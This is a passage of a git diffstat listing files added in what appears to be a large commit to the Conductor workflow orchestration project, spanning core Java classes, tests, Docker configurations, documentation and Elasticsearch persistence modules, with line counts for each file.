.../core/execution/mapper/NoopTaskMapper.java | 46 + .../PullWorkflowMessagesTaskMapper.java | 74 + .../mapper/SetVariableTaskMapper.java | 47 + .../execution/mapper/SimpleTaskMapper.java | 98 + .../mapper/StartWorkflowTaskMapper.java | 51 + .../mapper/SubWorkflowTaskMapper.java | 182 + .../execution/mapper/SwitchTaskMapper.java | 143 + .../core/execution/mapper/TaskMapper.java | 26 + .../execution/mapper/TaskMapperContext.java | 316 + .../execution/mapper/TerminateTaskMapper.java | 66 + .../mapper/UserDefinedTaskMapper.java | 108 + .../core/execution/mapper/WaitTaskMapper.java | 131 + .../core/execution/tasks/Decision.java | 42 + .../core/execution/tasks/DoWhile.java | 591 + .../conductor/core/execution/tasks/Event.java | 176 + .../core/execution/tasks/ExclusiveJoin.java | 137 + .../core/execution/tasks/ExecutionConfig.java | 44 + .../conductor/core/execution/tasks/Fork.java | 25 + .../conductor/core/execution/tasks/Human.java | 40 + .../core/execution/tasks/Inline.java | 125 + .../tasks/IsolatedTaskQueueProducer.java | 121 + .../conductor/core/execution/tasks/Join.java | 205 + .../core/execution/tasks/Lambda.java | 104 + .../conductor/core/execution/tasks/Noop.java | 36 + .../execution/tasks/PullWorkflowMessages.java | 121 + .../core/execution/tasks/SetVariable.java | 125 + .../core/execution/tasks/StartWorkflow.java | 151 + .../core/execution/tasks/SubWorkflow.java | 396 + .../core/execution/tasks/Switch.java | 37 + .../execution/tasks/SystemTaskRegistry.java | 55 + .../execution/tasks/SystemTaskWorker.java | 185 + .../tasks/SystemTaskWorkerCoordinator.java | 70 + .../core/execution/tasks/Terminate.java | 114 + .../conductor/core/execution/tasks/Wait.java | 79 + .../execution/tasks/WorkflowSystemTask.java | 129 + .../conductor/core/index/NoopIndexDAO.java | 163 + .../core/index/NoopIndexDAOConfiguration.java | 29 + .../core/listener/TaskStatusListener.java | 99 + .../core/listener/TaskStatusListenerStub.java | 69 + .../core/listener/WorkflowStatusListener.java | 111 + .../listener/WorkflowStatusListenerStub.java | 39 + .../core/metadata/MetadataMapperService.java | 201 + .../reconciliation/WorkflowReconciler.java | 102 + .../reconciliation/WorkflowRepairService.java | 205 + .../core/reconciliation/WorkflowSweeper.java | 220 + .../core/secrets/EnvVariableSecretsDAO.java | 60 + .../core/secrets/NoopSecretsDAO.java | 51 + .../core/secrets/RuntimeMetadataResolver.java | 58 + .../core/storage/DummyPayloadStorage.java | 101 + .../com/netflix/conductor/core/sync/Lock.java | 75 + .../core/sync/local/LocalOnlyLock.java | 125 + .../local/LocalOnlyLockConfiguration.java | 29 + .../conductor/core/sync/noop/NoopLock.java | 39 + .../conductor/core/utils/DateTimeUtils.java | 51 + .../utils/ExternalPayloadStorageUtils.java | 255 + .../conductor/core/utils/IDGenerator.java | 41 + .../conductor/core/utils/JsonUtils.java | 101 + .../conductor/core/utils/ParametersUtils.java | 494 + .../conductor/core/utils/QueueUtils.java | 116 + .../conductor/core/utils/SemaphoreUtil.java | 60 + .../netflix/conductor/core/utils/Utils.java | 94 + .../dao/ConcurrentExecutionLimitDAO.java | 45 + .../netflix/conductor/dao/EnvironmentDAO.java | 27 + .../conductor/dao/EventHandlerDAO.java | 50 + .../netflix/conductor/dao/ExecutionDAO.java | 216 + .../com/netflix/conductor/dao/IndexDAO.java | 250 + .../netflix/conductor/dao/MetadataDAO.java | 128 + .../netflix/conductor/dao/PollDataDAO.java | 59 + .../com/netflix/conductor/dao/QueueDAO.java | 205 + .../conductor/dao/RateLimitingDAO.java | 30 + .../com/netflix/conductor/dao/SecretsDAO.java | 27 + .../dao/WorkflowMessageQueueDAO.java | 63 + .../conductor/metrics/MetricsCollector.java | 48 + .../netflix/conductor/metrics/Monitors.java | 504 + .../conductor/metrics/WorkflowMonitor.java | 145 + .../netflix/conductor/model/TaskModel.java | 821 + .../conductor/model/WorkflowModel.java | 606 + .../model/WorkflowNotifications.java | 44 + .../sdk/workflow/task/InputParam.java | 26 + .../sdk/workflow/task/OutputParam.java | 24 + .../sdk/workflow/task/WorkerTask.java | 40 + .../conductor/service/AdminService.java | 72 + .../conductor/service/AdminServiceImpl.java | 138 + .../conductor/service/EventService.java | 68 + .../conductor/service/EventServiceImpl.java | 77 + .../service/ExecutionLockService.java | 109 + .../conductor/service/ExecutionService.java | 715 + .../conductor/service/MetadataService.java | 177 + .../service/MetadataServiceImpl.java | 281 + .../conductor/service/TaskService.java | 261 + .../conductor/service/TaskServiceImpl.java | 399 + .../conductor/service/VersionService.java | 34 + .../service/WorkflowBulkService.java | 99 + .../service/WorkflowBulkServiceImpl.java | 265 + .../conductor/service/WorkflowService.java | 423 + .../service/WorkflowServiceImpl.java | 476 + .../service/WorkflowTestService.java | 149 + .../validations/ValidationContext.java | 33 + .../WorkflowTaskTypeConstraint.java | 587 + .../core/exception/FileStorageException.java | 27 + .../core/execution/ExecutorUtils.java | 192 + .../core/execution/SweeperProperties.java | 30 + .../core/execution/WorkflowSweeper.java | 375 + .../mapper/AnnotatedSystemTaskMapper.java | 97 + .../execution/mapper/TaskMapperValidator.java | 25 + .../AnnotatedMethodParameterMapper.java | 150 + .../AnnotatedMethodResultMapper.java | 109 + .../AnnotatedWorkflowSystemTask.java | 163 + .../tasks/annotated/SampleWorkers.java | 29 + .../WorkerTaskAnnotationScanner.java | 135 + .../core/listener/MetadataChangeListener.java | 39 + .../listener/MetadataChangeListenerStub.java | 77 + .../conductor/core/storage/FileStorage.java | 68 + .../core/storage/FileStorageProperties.java | 62 + .../core/storage/FileStorageService.java | 94 + .../core/storage/FileStorageServiceImpl.java | 218 + .../core/storage/StorageFileInfo.java | 48 + .../core/storage/WorkflowFamilyResolver.java | 38 + .../storage/WorkflowFamilyResolverImpl.java | 76 + .../storage/converter/FileModelConverter.java | 71 + .../conductor/dao/FileMetadataDAO.java | 57 + .../conductor/dao/SkillMetadataDAO.java | 69 + .../conductor/dao/SkillPackageDAO.java | 39 + .../conductor/model/FileModel.java | 161 + ...itional-spring-configuration-metadata.json | 171 + .../main/resources/META-INF/validation.xml | 27 + .../META-INF/validation/constraints.xml | 32 + .../AsyncSystemTaskExecutorTest.groovy | 439 + .../core/execution/tasks/DoWhileSpec.groovy | 348 + .../core/execution/tasks/EventSpec.groovy | 348 + .../IsolatedTaskQueueProducerSpec.groovy | 57 + .../execution/tasks/StartWorkflowSpec.groovy | 115 + .../conductor/model/TaskModelSpec.groovy | 66 + .../conductor/model/WorkflowModelSpec.groovy | 68 + .../java/com/netflix/conductor/TestUtils.java | 32 + .../conductor/benchmark/BenchmarkScripts.java | 323 + .../benchmark/ScriptEngineBenchmark.java | 388 + .../core/dal/ExecutionDAOFacadeTest.java | 445 + .../env/EnvVariableEnvironmentDAOTest.java | 70 + .../core/env/NoopEnvironmentDAOTest.java | 42 + .../core/events/MockObservableQueue.java | 92 + .../core/events/MockQueueProvider.java | 37 + .../events/TestDefaultEventProcessor.java | 539 + .../core/events/TestGraalJSFeatures.java | 445 + .../conductor/core/events/TestScriptEval.java | 90 + .../events/TestSimpleActionProcessor.java | 369 + .../execution/NotificationResultTest.java | 470 + .../core/execution/TestDeciderOutcomes.java | 689 + .../core/execution/TestDeciderService.java | 2055 + .../core/execution/TestWorkflowDef.java | 219 + .../core/execution/TestWorkflowExecutor.java | 3056 + .../TestWorkflowExecutorDecideLoop.java | 239 + .../execution/WorkflowSystemTaskStub.java | 37 + .../evaluators/GraalJSEvaluatorTest.java | 154 + .../evaluators/JavascriptEvaluatorTest.java | 161 + .../mapper/DecisionTaskMapperTest.java | 289 + .../mapper/DoWhileTaskMapperTest.java | 131 + .../mapper/DynamicTaskMapperTest.java | 155 + .../execution/mapper/EventTaskMapperTest.java | 73 + .../mapper/ForkJoinDynamicTaskMapperTest.java | 845 + .../mapper/ForkJoinTaskMapperTest.java | 216 + .../execution/mapper/HTTPTaskMapperTest.java | 115 + .../execution/mapper/HumanTaskMapperTest.java | 68 + .../mapper/InlineTaskMapperTest.java | 115 + .../execution/mapper/JoinTaskMapperTest.java | 96 + .../mapper/JsonJQTransformTaskMapperTest.java | 124 + .../mapper/KafkaPublishTaskMapperTest.java | 122 + .../mapper/LambdaTaskMapperTest.java | 112 + .../execution/mapper/NoopTaskMapperTest.java | 57 + .../mapper/SetVariableTaskMapperTest.java | 57 + .../mapper/SimpleTaskMapperTest.java | 107 + .../mapper/SubWorkflowTaskMapperTest.java | 265 + .../mapper/SwitchTaskMapperTest.java | 347 + .../mapper/TerminateTaskMapperTest.java | 68 + .../mapper/UserDefinedTaskMapperTest.java | 118 + .../execution/mapper/WaitTaskMapperTest.java | 216 + .../tasks/DoWhileIntegrationTest.java | 358 + .../core/execution/tasks/DoWhileTest.java | 1421 + .../tasks/EventQueueResolutionTest.java | 177 + .../core/execution/tasks/InlineTest.java | 286 + .../core/execution/tasks/JoinTest.java | 128 + .../tasks/PullWorkflowMessagesTest.java | 119 + .../core/execution/tasks/TestJoin.java | 225 + .../core/execution/tasks/TestLambda.java | 64 + .../core/execution/tasks/TestNoop.java | 36 + .../core/execution/tasks/TestSubWorkflow.java | 555 + .../execution/tasks/TestSystemTaskWorker.java | 189 + .../TestSystemTaskWorkerCoordinator.java | 60 + .../core/execution/tasks/TestTerminate.java | 162 + .../core/listener/TaskStatusListenerTest.java | 216 + .../metadata/MetadataMapperServiceTest.java | 327 + .../TestWorkflowRepairService.java | 271 + .../reconciliation/TestWorkflowSweeper.java | 427 + .../secrets/EnvVariableSecretsDAOTest.java | 63 + .../core/secrets/NoopSecretsDAOTest.java | 47 + .../secrets/RuntimeMetadataResolverTest.java | 122 + .../core/storage/DummyPayloadStorageTest.java | 92 + .../core/sync/local/LocalOnlyLockTest.java | 148 + .../core/utils/DateTimeUtilsTest.java | 107 + .../ExternalPayloadStorageUtilsTest.java | 280 + .../conductor/core/utils/IDGeneratorTest.java | 37 + .../conductor/core/utils/JsonUtilsTest.java | 130 + .../core/utils/ParametersUtilsTest.java | 516 + .../conductor/core/utils/QueueUtilsTest.java | 82 + .../core/utils/SemaphoreUtilTest.java | 86 + .../conductor/dao/ExecutionDAOTest.java | 439 + .../conductor/dao/PollDataDAOTest.java | 54 + .../metrics/MetricsCollectorTest.java | 40 + .../conductor/metrics/MonitorsTest.java | 111 + .../metrics/WorkflowMonitorTest.java | 74 + .../conductor/service/EventServiceTest.java | 105 + .../service/ExecutionServiceTest.java | 468 + .../service/MetadataServiceTest.java | 591 + .../conductor/service/TaskServiceTest.java | 246 + .../service/WorkflowBulkServiceTest.java | 177 + .../service/WorkflowServiceTest.java | 502 + .../WorkflowDefConstraintTest.java | 191 + .../WorkflowTaskTypeConstraintTest.java | 634 + .../core/execution/ExecutorUtilsTest.java | 285 + .../core/execution/WorkflowSweeperTest.java | 205 + .../TestAnnotatedMethodParameterMapper.java | 145 + .../TestAnnotatedMethodResultMapper.java | 176 + .../TestAnnotatedSystemTaskIntegration.java | 116 + .../TestAnnotatedWorkflowSystemTask.java | 260 + .../tasks/annotated/TestTaskContext.java | 70 + .../storage/FileStorageServiceImplTest.java | 318 + .../core/storage/StubFileMetadataDAO.java | 73 + .../core/storage/StubFileStorage.java | 74 + .../storage/StubWorkflowFamilyResolver.java | 29 + .../storage/WorkflowFamilyResolverTest.java | 114 + .../converter/FileModelConverterTest.java | 95 + core/src/test/resources/completed.json | 3788 ++ core/src/test/resources/conditional_flow.json | 211 + .../conditional_flow_with_switch.json | 226 + core/src/test/resources/payload.json | 423 + core/src/test/resources/test.json | 1277 + dependencies.gradle | 100 + deploy.gradle | 131 + design/a2a/01-overview-and-motivation.md | 117 + design/a2a/02-a2a-vs-mcp.md | 106 + design/a2a/03-data-model.md | 284 + design/a2a/04-protocol-mechanics.md | 177 + design/a2a/05-security.md | 85 + design/a2a/06-versioning.md | 54 + design/a2a/07-ecosystem-and-samples.md | 152 + design/a2a/08-conductor-implications.md | 198 + design/a2a/09-durable-a2a.md | 277 + design/a2a/10-a2a-server.md | 141 + design/a2a/README.md | 86 + design/runtime-metadata.md | 185 + docker/README.md | 88 + docker/ci/Dockerfile | 6 + .../Dockerfile | 20 + .../dockerhub-description.md | 45 + docker/docker-compose-cassandra-es7.yaml | 90 + docker/docker-compose-es8.yaml | 78 + docker/docker-compose-mysql.yaml | 98 + docker/docker-compose-port-override.yaml | 7 + docker/docker-compose-postgres-e2e.yaml | 52 + docker/docker-compose-postgres-es7.yaml | 86 + docker/docker-compose-postgres.yaml | 65 + docker/docker-compose-redis-os.yaml | 79 + docker/docker-compose-redis-os2.yaml | 80 + docker/docker-compose-redis-os3.yaml | 80 + docker/docker-compose-ui-e2e.yaml | 70 + docker/docker-compose.yaml | 75 + docker/server/Dockerfile | 86 + docker/server/Dockerfile.next | 89 + .../config/config-cassandra-es7.properties | 39 + docker/server/config/config-mysql.properties | 29 + .../config/config-postgres-es7.properties | 30 + .../server/config/config-postgres.properties | 26 + .../server/config/config-redis-es8.properties | 44 + .../server/config/config-redis-os.properties | 38 + .../server/config/config-redis-os2.properties | 38 + .../server/config/config-redis-os3.properties | 38 + docker/server/config/config-redis.properties | 38 + docker/server/config/config.properties | 53 + .../config/log4j-file-appender.properties | 40 + docker/server/config/log4j.properties | 26 + docker/server/config/redis.conf | 1 + docker/server/libs/.gitignore | 2 + docker/server/nginx/nginx.conf | 50 + docker/ui/Dockerfile | 28 + docker/ui/README.md | 13 + docs/architecture/durable-execution.md | 126 + docs/architecture/json-native.md | 204 + docs/assets/images/favicon.png | Bin 0 -> 20196 bytes docs/css/custom.css | 1625 + ...6-07-09-lock-contention-decider-requeue.md | 298 + docs/devguide/ai/a2a-integration.md | 620 + docs/devguide/ai/durable-agents.md | 178 + docs/devguide/ai/dynamic-workflows.md | 255 + docs/devguide/ai/failure-semantics.md | 281 + docs/devguide/ai/first-ai-agent.md | 294 + docs/devguide/ai/human-in-the-loop.md | 184 + docs/devguide/ai/index.md | 91 + docs/devguide/ai/llm-orchestration.md | 231 + docs/devguide/ai/mcp-guide.md | 245 + .../ai/production-agent-architecture.md | 451 + docs/devguide/ai/token-efficiency.md | 117 + docs/devguide/ai/why-conductor.md | 324 + .../architecture/PollTimeoutSeconds.png | Bin 0 -> 76891 bytes .../architecture/ResponseTimeoutSeconds.png | Bin 0 -> 28810 bytes docs/devguide/architecture/TaskFailure.png | Bin 0 -> 128270 bytes docs/devguide/architecture/TimeoutSeconds.png | Bin 0 -> 61104 bytes .../architecture/conductor-architecture.png | Bin 0 -> 753288 bytes docs/devguide/architecture/dag_workflow.png | Bin 0 -> 66087 bytes docs/devguide/architecture/dag_workflow2.png | Bin 0 -> 17187 bytes .../architecture/directed-acyclic-graph.md | 54 + docs/devguide/architecture/directed_graph.png | Bin 0 -> 59102 bytes docs/devguide/architecture/index.md | 49 + docs/devguide/architecture/overview.png | Bin 0 -> 49273 bytes docs/devguide/architecture/pirate_graph.gif | Bin 0 -> 23788 bytes docs/devguide/architecture/regular_graph.png | Bin 0 -> 25998 bytes docs/devguide/architecture/task_states.png | Bin 0 -> 37523 bytes docs/devguide/architecture/tasklifecycle.md | 183 + docs/devguide/bestpractices.md | 274 + docs/devguide/concepts/conductor.md | 117 + docs/devguide/concepts/index.md | 363 + docs/devguide/concepts/tasks.md | 145 + docs/devguide/concepts/workers.md | 51 + docs/devguide/concepts/workflows.md | 158 + docs/devguide/cookbook/ai-llm.md | 714 + docs/devguide/cookbook/dynamic-parallelism.md | 156 + docs/devguide/cookbook/dynamic-workflows.md | 365 + docs/devguide/cookbook/event-driven.md | 250 + docs/devguide/cookbook/files-api-usecase.md | 314 + docs/devguide/cookbook/index.md | 43 + .../cookbook/microservice-orchestration.md | 256 + .../cookbook/task-timeouts-and-retries.md | 187 + docs/devguide/cookbook/wait-and-timers.md | 152 + docs/devguide/cookbook/workflow-scheduling.md | 364 + docs/devguide/faq.md | 199 + docs/devguide/how-tos/Tasks/choosing-tasks.md | 108 + docs/devguide/how-tos/Tasks/creating-tasks.md | 128 + docs/devguide/how-tos/Tasks/task-inputs.md | 314 + .../how-tos/Workers/scaling-workers.md | 140 + .../how-tos/Workflows/creating-workflows.md | 78 + .../how-tos/Workflows/debugging-workflows.md | 61 + .../how-tos/Workflows/execution_path.png | Bin 0 -> 92649 bytes .../how-tos/Workflows/handling-errors.md | 357 + .../restarting-workflows-at-runtime.jpg | Bin 0 -> 308862 bytes .../how-tos/Workflows/scheduling-workflows.md | 196 + .../how-tos/Workflows/searching-workflows.md | 53 + .../how-tos/Workflows/starting-workflows.md | 68 + .../how-tos/Workflows/versioning-workflows.md | 65 + .../Workflows/viewing-workflow-executions.md | 57 + .../Workflows/workflow-task-states.jpg | Bin 0 -> 188324 bytes .../workflow-versioning-at-runtime.jpg | Bin 0 -> 304628 bytes .../how-tos/Workflows/workflow_debugging.png | Bin 0 -> 511278 bytes docs/devguide/how-tos/conductor-skills.md | 283 + docs/devguide/how-tos/event-bus.md | 234 + docs/devguide/labs/eventhandlers.md | 177 + docs/devguide/labs/first-workflow.md | 151 + docs/devguide/labs/img/EventHandlerCycle.png | Bin 0 -> 84952 bytes .../labs/img/bgnr_complete_workflow.png | Bin 0 -> 28037 bytes .../labs/img/bgnr_state_scheduled.png | Bin 0 -> 25469 bytes docs/devguide/labs/img/bgnr_systask_state.png | Bin 0 -> 37004 bytes docs/devguide/labs/index.md | 26 + docs/devguide/labs/kitchensink.md | 280 + docs/devguide/labs/kitchensink.png | Bin 0 -> 80444 bytes docs/devguide/labs/metadataWorkflowPost.png | Bin 0 -> 99904 bytes docs/devguide/labs/metadataWorkflowRun.png | Bin 0 -> 160857 bytes docs/devguide/labs/uiWorkflowDefinition.png | Bin 0 -> 250619 bytes .../labs/uiWorkflowDefinitionVisual.png | Bin 0 -> 345010 bytes docs/devguide/labs/workflowLoaded.png | Bin 0 -> 332553 bytes docs/devguide/labs/workflowRunIdCopy.png | Bin 0 -> 150849 bytes docs/devguide/running/conductorUI.png | Bin 0 -> 176920 bytes docs/devguide/running/deploy.md | 639 + docs/devguide/running/hosted.md | 20 + docs/devguide/running/source.md | 83 + docs/devguide/running/swagger.png | Bin 0 -> 306354 bytes .../advanced/annotation-processor.md | 29 + .../advanced/archival-of-workflows.md | 16 + docs/documentation/advanced/extend.md | 53 + .../advanced/externalpayloadstorage.md | 132 + docs/documentation/advanced/file-storage.md | 96 + .../documentation/advanced/isolationgroups.md | 156 + docs/documentation/advanced/opensearch.md | 214 + docs/documentation/advanced/postgresql.md | 96 + docs/documentation/advanced/redis.md | 52 + docs/documentation/api/bulk.md | 184 + docs/documentation/api/eventhandlers.md | 212 + docs/documentation/api/files.md | 256 + docs/documentation/api/index.md | 116 + docs/documentation/api/metadata.md | 317 + docs/documentation/api/scheduler.md | 261 + docs/documentation/api/startworkflow.md | 178 + docs/documentation/api/task.md | 470 + docs/documentation/api/taskdomains.md | 95 + docs/documentation/api/workflow.md | 440 + docs/documentation/clientsdks/csharp-sdk.md | 74 + docs/documentation/clientsdks/go-sdk.md | 272 + docs/documentation/clientsdks/index.md | 19 + docs/documentation/clientsdks/java-sdk.md | 618 + docs/documentation/clientsdks/js-sdk.md | 561 + docs/documentation/clientsdks/python-sdk.md | 514 + docs/documentation/clientsdks/ruby-sdk.md | 547 + docs/documentation/clientsdks/rust-sdk.md | 517 + docs/documentation/configuration/appconf.md | 186 + .../configuration/eventhandlers.md | 123 + docs/documentation/configuration/taskdef.md | 200 + .../configuration/workflowdef/index.md | 311 + .../operators/ShippingWorkflow.png | Bin 0 -> 9133 bytes .../operators/ShippingWorkflowRunning.png | Bin 0 -> 8967 bytes .../operators/ShippingWorkflowUPS.png | Bin 0 -> 8807 bytes .../workflowdef/operators/Switch_Fedex.png | Bin 0 -> 44581 bytes .../workflowdef/operators/Terminate_Task.png | Bin 0 -> 22374 bytes .../workflowdef/operators/do-while-task.md | 368 + .../operators/dynamic-fork-task.md | 439 + .../operators/dynamic-task-diagram.png | Bin 0 -> 29538 bytes .../workflowdef/operators/dynamic-task.md | 110 + .../operators/fork-task-diagram.png | Bin 0 -> 21544 bytes .../workflowdef/operators/fork-task.md | 137 + .../workflowdef/operators/index.md | 27 + .../workflowdef/operators/join-task.md | 183 + .../operators/set-variable-task.md | 86 + .../operators/start-workflow-task.md | 55 + .../operators/sub-workflow-task.md | 291 + .../operators/subworkflow_diagram.png | Bin 0 -> 56222 bytes .../workflowdef/operators/switch-task.md | 198 + .../workflowdef/operators/terminate-task.md | 95 + .../workflowdef/operators/workflow_fork.png | Bin 0 -> 35688 bytes .../workflowdef/systemtasks/event-task.md | 122 + .../workflowdef/systemtasks/http-task.md | 231 + .../workflowdef/systemtasks/human-task.md | 229 + .../workflowdef/systemtasks/index.md | 88 + .../workflowdef/systemtasks/inline-task.md | 91 + .../workflowdef/systemtasks/jdbc-task.md | 264 + .../systemtasks/json-jq-transform-task.md | 188 + .../systemtasks/kafka-publish-task.md | 54 + .../workflowdef/systemtasks/noop-task.md | 22 + .../workflowdef/systemtasks/wait-task.md | 134 + docs/documentation/metrics/client.md | 26 + docs/documentation/metrics/server.md | 57 + docs/home/devex.png | Bin 0 -> 88523 bytes docs/home/icons/brackets.svg | 3 + docs/home/icons/conductor.svg | 52 + docs/home/icons/modular.svg | 50 + docs/home/icons/network.svg | 1 + docs/home/icons/osi.svg | 38 + docs/home/icons/server.svg | 1 + docs/home/icons/shield.svg | 1 + docs/home/icons/wrench.svg | 1 + docs/home/redirect.html | 8 + docs/home/timeline.png | Bin 0 -> 109193 bytes docs/home/workflow.svg | 615 + docs/img/logo.svg | 93 + docs/img/og-conductor.png | Bin 0 -> 35411 bytes docs/index.html | 1929 + docs/index.md | 285 + docs/overrides/404.html | 24 + docs/overrides/main.html | 230 + docs/overrides/partials/logo.html | 5 + docs/quickstart/index.md | 413 + docs/quickstart/workflow.json | 33 + docs/resources/contributing.md | 76 + docs/resources/license.md | 18 + docs/resources/related.md | 78 + docs/robots.txt | 3 + docs/wmq/wmq_echo_loop.json | 78 + .../workflow-message-queue-architecture.md | 269 + docs/wmq/workflow-message-queue.md | 175 + e2e/README.md | 147 + e2e/build.gradle | 47 + e2e/docker/config/config-redis.properties | 42 + e2e/run_tests-cassandra-es7.sh | 33 + e2e/run_tests-es8.sh | 44 + e2e/run_tests-mysql.sh | 33 + e2e/run_tests-postgres-es7.sh | 33 + e2e/run_tests-postgres.sh | 33 + e2e/run_tests-redis-es7.sh | 33 + e2e/run_tests-redis-os2.sh | 33 + e2e/run_tests-redis-os3.sh | 33 + e2e/run_tests.sh | 33 + .../e2e/control/DoWhileEdgeCasesTests.java | 271 + .../conductor/e2e/control/DoWhileTests.java | 363 + .../e2e/control/DoWhileWithDomainTests.java | 189 + .../e2e/control/DynamicForkTests.java | 785 + .../e2e/control/SubWorkflowInlineTests.java | 1441 + .../SubWorkflowScheduledRaceTests.java | 259 + .../e2e/control/SubWorkflowTests.java | 361 + .../control/SubWorkflowTimeoutRetryTests.java | 184 + .../e2e/control/SubWorkflowVersionTests.java | 371 + .../io/conductor/e2e/control/SwitchTests.java | 266 + .../e2e/filestorage/FileStorageE2ETest.java | 281 + .../e2e/metadata/EventClientTests.java | 97 + .../e2e/metadata/MetadataClientTests.java | 62 + .../e2e/processing/GraaljsTests.java | 110 + .../conductor/e2e/processing/JSONJQTests.java | 107 + .../e2e/processing/SetVariableTests.java | 223 + .../io/conductor/e2e/task/BackoffTests.java | 235 + .../e2e/task/ConcurrentExecLimitTests.java | 318 + .../e2e/task/ContextPropagationTest.java | 97 + .../io/conductor/e2e/task/HTTPTaskTests.java | 89 + .../e2e/task/LLMChatCompleteTests.java | 1335 + .../conductor/e2e/task/PollTimeoutTests.java | 88 + .../conductor/e2e/task/RetryPolicyTests.java | 1223 + .../conductor/e2e/task/TaskTimeoutTests.java | 224 + .../io/conductor/e2e/task/WaitTaskTest.java | 178 + .../java/io/conductor/e2e/util/ApiUtil.java | 45 + .../java/io/conductor/e2e/util/Commons.java | 36 + .../conductor/e2e/util/RegistrationUtil.java | 162 + .../io/conductor/e2e/util/SimpleWorker.java | 32 + .../java/io/conductor/e2e/util/TestUtil.java | 27 + .../io/conductor/e2e/util/WorkflowUtil.java | 34 + .../e2e/workflow/ClearContextTest.java | 94 + .../e2e/workflow/EndTimeIssueTests.java | 100 + .../e2e/workflow/FailureWorkflowTests.java | 263 + .../conductor/e2e/workflow/JavaSDKTests.java | 98 + .../workflow/SyncWorkflowExecutionTest.java | 297 + .../e2e/workflow/WorkflowInputTests.java | 95 + .../e2e/workflow/WorkflowPriorityTests.java | 140 + .../e2e/workflow/WorkflowRerunTests.java | 6766 ++ .../e2e/workflow/WorkflowRestartTests.java | 658 + .../e2e/workflow/WorkflowRetryTests.java | 3055 + .../e2e/workflow/WorkflowSearchTests.java | 357 + e2e/src/test/resources/assets/melon7391.png | Bin 0 -> 3574 bytes .../test/resources/exec_limit_workflow.json | 169 + e2e/src/test/resources/log4j2-test.xml | 16 + e2e/src/test/resources/metadata/.gitkeep | 0 .../metadata/broken_idempotency_logic_wf.json | 27 + .../metadata/concurrency_check_http.json | 49 + .../metadata/concurrency_check_wait30.json | 33 + .../metadata/context_concurrency_issue.json | 107 + .../cpewf_task_id_dyn_fork_task_def.json | 19 + .../metadata/cpewf_task_id_dyn_fork_wf.json | 76 + .../do_while_early_script_eval_wf.json | 606 + .../metadata/do_while_keep_last_n_fix.json | 561 + .../do_while_keep_last_n_switch_test.json | 286 + .../do_while_wait_switch_iteration_test.json | 239 + .../resources/metadata/dyn_fork_test.json | 81 + .../metadata/e2e_on_state_change_tests.json | 47 + .../e2e_on_state_change_tests_sub.json | 34 + ...n_state_change_tests_sub_set_variable.json | 26 + .../resources/metadata/end_time_workflow.json | 41 + .../resources/metadata/onstate_fix_test.json | 97 + .../metadata/re_run_test_workflow.json | 648 + .../metadata/signal_subworkflow.json | 42 + .../resources/metadata/stackoverflower.json | 33 + .../metadata/sub_workflow_tests.json | 131 + .../metadata/switch_rerun_issue.json | 53 + .../metadata/switch_rerun_issue_2.json | 88 + .../metadata/sync_task_variable_updates.json | 153 + .../resources/metadata/sync_workflows.json | 1067 + .../test/resources/metadata/tasks_data.json | 57 + .../metadata/timed-out-tasks-not-removed.json | 34 + .../resources/metadata/workflow_data.json | 458 + ...rkflow_rate_limit_in_progress_cleanup.json | 179 + .../test/resources/metadata/workflows.json | 594 + es6-persistence/README.md | 47 + es6-persistence/build.gradle | 23 + ...lasticSearch6DeprecationConfiguration.java | 76 + .../es6/config/ElasticSearchConditions.java | 46 + .../config/ElasticSearch6DeprecationTest.java | 150 + es7-persistence/README.md | 97 + es7-persistence/build.gradle | 52 + .../es7/config/ElasticSearchConditions.java | 46 + .../es7/config/ElasticSearchProperties.java | 244 + .../config/ElasticSearchV7Configuration.java | 109 + .../dao/index/BulkRequestBuilderWrapper.java | 55 + .../es7/dao/index/BulkRequestWrapper.java | 51 + .../es7/dao/index/ElasticSearchBaseDAO.java | 90 + .../es7/dao/index/ElasticSearchRestDAOV7.java | 1369 + .../es7/dao/query/parser/Expression.java | 118 + .../es7/dao/query/parser/FilterProvider.java | 26 + .../dao/query/parser/GroupedExpression.java | 60 + .../es7/dao/query/parser/NameValue.java | 139 + .../query/parser/internal/AbstractNode.java | 178 + .../dao/query/parser/internal/BooleanOp.java | 57 + .../query/parser/internal/ComparisonOp.java | 102 + .../dao/query/parser/internal/ConstValue.java | 141 + .../internal/FunctionThrowingException.java | 22 + .../dao/query/parser/internal/ListConst.java | 70 + .../es7/dao/query/parser/internal/Name.java | 41 + .../parser/internal/ParserException.java | 28 + .../es7/dao/query/parser/internal/Range.java | 80 + .../main/resources/mappings_docType_task.json | 66 + .../resources/mappings_docType_workflow.json | 82 + .../src/main/resources/template_event.json | 48 + .../src/main/resources/template_message.json | 28 + .../src/main/resources/template_task_log.json | 24 + .../config/ElasticSearchPropertiesTest.java | 38 + .../index/ElasticSearchRestDaoBaseTest.java | 74 + .../es7/dao/index/ElasticSearchTest.java | 66 + .../index/TestBulkRequestBuilderWrapper.java | 50 + .../dao/index/TestElasticSearchRestDAOV7.java | 523 + .../TestElasticSearchRestDAOV7Batch.java | 81 + .../es7/dao/query/parser/TestExpression.java | 149 + .../query/parser/TestGroupedExpression.java | 24 + .../parser/internal/AbstractParserTest.java | 27 + .../query/parser/internal/TestBooleanOp.java | 44 + .../parser/internal/TestComparisonOp.java | 44 + .../query/parser/internal/TestConstValue.java | 101 + .../dao/query/parser/internal/TestName.java | 33 + .../conductor/es7/utils/TestUtils.java | 76 + .../resources/expected_template_task_log.json | 24 + .../src/test/resources/task_summary.json | 17 + .../src/test/resources/workflow_summary.json | 12 + es8-persistence/README.md | 82 + es8-persistence/build.gradle | 58 + .../es8/config/ElasticSearchConditions.java | 52 + .../es8/config/ElasticSearchProperties.java | 274 + .../config/ElasticSearchV8Configuration.java | 160 + .../es8/dao/index/ElasticSearchRestDAOV8.java | 1213 + .../dao/index/Es8BulkIngestionSupport.java | 262 + .../dao/index/Es8IndexManagementSupport.java | 473 + .../es8/dao/index/Es8SearchSupport.java | 309 + .../es8/dao/query/parser/Expression.java | 117 + .../es8/dao/query/parser/FilterProvider.java | 26 + .../dao/query/parser/GroupedExpression.java | 60 + .../es8/dao/query/parser/NameValue.java | 239 + .../query/parser/internal/AbstractNode.java | 177 + .../dao/query/parser/internal/BooleanOp.java | 57 + .../query/parser/internal/ComparisonOp.java | 102 + .../dao/query/parser/internal/ConstValue.java | 141 + .../internal/FunctionThrowingException.java | 22 + .../dao/query/parser/internal/ListConst.java | 70 + .../es8/dao/query/parser/internal/Name.java | 41 + .../parser/internal/ParserException.java | 28 + .../es8/dao/query/parser/internal/Range.java | 80 + .../src/main/resources/template_event.json | 45 + .../src/main/resources/template_message.json | 26 + 